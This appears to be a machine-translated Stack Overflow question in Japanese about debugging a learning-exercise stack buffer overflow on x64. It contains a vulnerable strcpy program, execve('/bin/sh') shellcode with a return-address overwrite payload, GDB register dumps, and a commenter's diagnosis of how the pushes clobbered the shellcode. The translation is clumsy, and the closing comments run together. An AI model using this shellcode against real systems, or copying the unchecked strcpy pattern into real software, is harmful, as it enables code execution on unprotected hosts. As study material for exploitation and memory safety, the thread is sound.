1
バッファオーバーフローの悪用を習得しようとしています。シェルコードには命令が含まれており、別々に実行すると問題なく実行されますが、プログラムを介して制御が渡されると、SEGSEGVフォールトを与えるプッシュ命令で停止しようとします。 復帰アドレスを上書きするのは苦労しました。 ASLRは無効にされ、スタックは実行可能です。ここ は私のプログラムである：ここではx64アーキテクチャでプッシュ命令を実行するとメモリにアクセスできない
#include<stdio.h>
#include<string.h>
void cllme()
{
printf("hello world\n");
}
int main(int argc, char *argv[]){
char buffer[30];
cllme();
printf("buffer is at %p\n",buffer);
printf("callme is at %p\n",cllme);
strcpy(buffer,argv[1]);
return 0;
}
は私はGDBでそれを実行するために実行コマンドです：
run $(python -c 'print "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"+13*"a"+"\x10\xe4\xff\xff\xff\x7f"')
(gdb) x/13i $rip
=> 0x7fffffffe41c: neg rbx
0x7fffffffe41f: push rbx
0x7fffffffe420: push rsp
0x7fffffffe421: pop rdi
0x7fffffffe422: cdq
0x7fffffffe423: push rdx
0x7fffffffe424: push rdi
0x7fffffffe425: push rsp
0x7fffffffe426: pop rsi
0x7fffffffe427: mov al,0x3b
0x7fffffffe429: syscall
0x7fffffffe42b: (bad)
0x7fffffffe42c: (bad)
(gdb) i r
rax 0x0 0
rbx 0xff978cd091969dd1 -29400045130965551
rcx 0xe410616161616161 -2013001962561117855
rdx 0x7fffffffe41061 36028797017133153
rsi 0x7fffffffe7c0 140737488349120
rdi 0x7fffffffe432 140737488348210
rbp 0x6161616161616161 0x6161616161616161
rsp 0x7fffffffe440 0x7fffffffe440
r8 0x1 1
r9 0x1c 28
r10 0x78 120
r11 0x7ffff7b95f48 140737349508936
r12 0x5555555545f0 93824992232944
r13 0x7fffffffe510 140737488348432
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe41c 0x7fffffffe41c
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) nexti
0x00007fffffffe41f in ??()
(gdb) i r
rax 0x0 0
rbx 0x68732f6e69622f 29400045130965551
rcx 0xe410616161616161 -2013001962561117855
rdx 0x7fffffffe41061 36028797017133153
rsi 0x7fffffffe7c0 140737488349120
rdi 0x7fffffffe432 140737488348210
rbp 0x6161616161616161 0x6161616161616161
rsp 0x7fffffffe440 0x7fffffffe440
r8 0x1 1
r9 0x1c 28
r10 0x78 120
r11 0x7ffff7b95f48 140737349508936
r12 0x5555555545f0 93824992232944
r13 0x7fffffffe510 140737488348432
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe41f 0x7fffffffe41f
eflags 0x213 [ CF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/13i $rip
=> 0x7fffffffe41f: push rbx
0x7fffffffe420: push rsp
0x7fffffffe421: pop rdi
0x7fffffffe422: cdq
0x7fffffffe423: push rdx
0x7fffffffe424: push rdi
0x7fffffffe425: push rsp
0x7fffffffe426: pop rsi
0x7fffffffe427: mov al,0x3b
0x7fffffffe429: syscall
0x7fffffffe42b: (bad)
0x7fffffffe42c: (bad)
0x7fffffffe42d: (bad)
(gdb) i r
rax 0x0 0
rbx 0x68732f6e69622f 29400045130965551
rcx 0xe410616161616161 -2013001962561117855
rdx 0x7fffffffe41061 36028797017133153
rsi 0x7fffffffe7c0 140737488349120
rdi 0x7fffffffe432 140737488348210
rbp 0x6161616161616161 0x6161616161616161
rsp 0x7fffffffe440 0x7fffffffe440
r8 0x1 1
r9 0x1c 28
r10 0x78 120
r11 0x7ffff7b95f48 140737349508936
r12 0x5555555545f0 93824992232944
r13 0x7fffffffe510 140737488348432
r14 0x0 0
r15 0x0 0
rip 0x7fffffffe41f 0x7fffffffe41f
eflags 0x213 [ CF AF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) nexti
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0x68732f6e69622f
(gdb)nexti
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe426 in ??()
'プッシュにアクセスしようとする命令が作成されたように作られ、それがクラッシュシェルコードを台無し'フォールトはあなたがスタックポインタを台無しにしたことを意味します。あなたのgdbログも壊れています。 'stepi'を使ってみてください。 '41f'から' 426'に1命令以上ジャンプします。 – Jester
問題を指摘してくれたJesterに感謝します。スタックポインタがe440のアドレスを指していたことが分かりましたが、20バイトを超えると、rbxの場所にアクセスしようとする命令が作成されたときにクラッシュしたシェルコードが乱されました。 –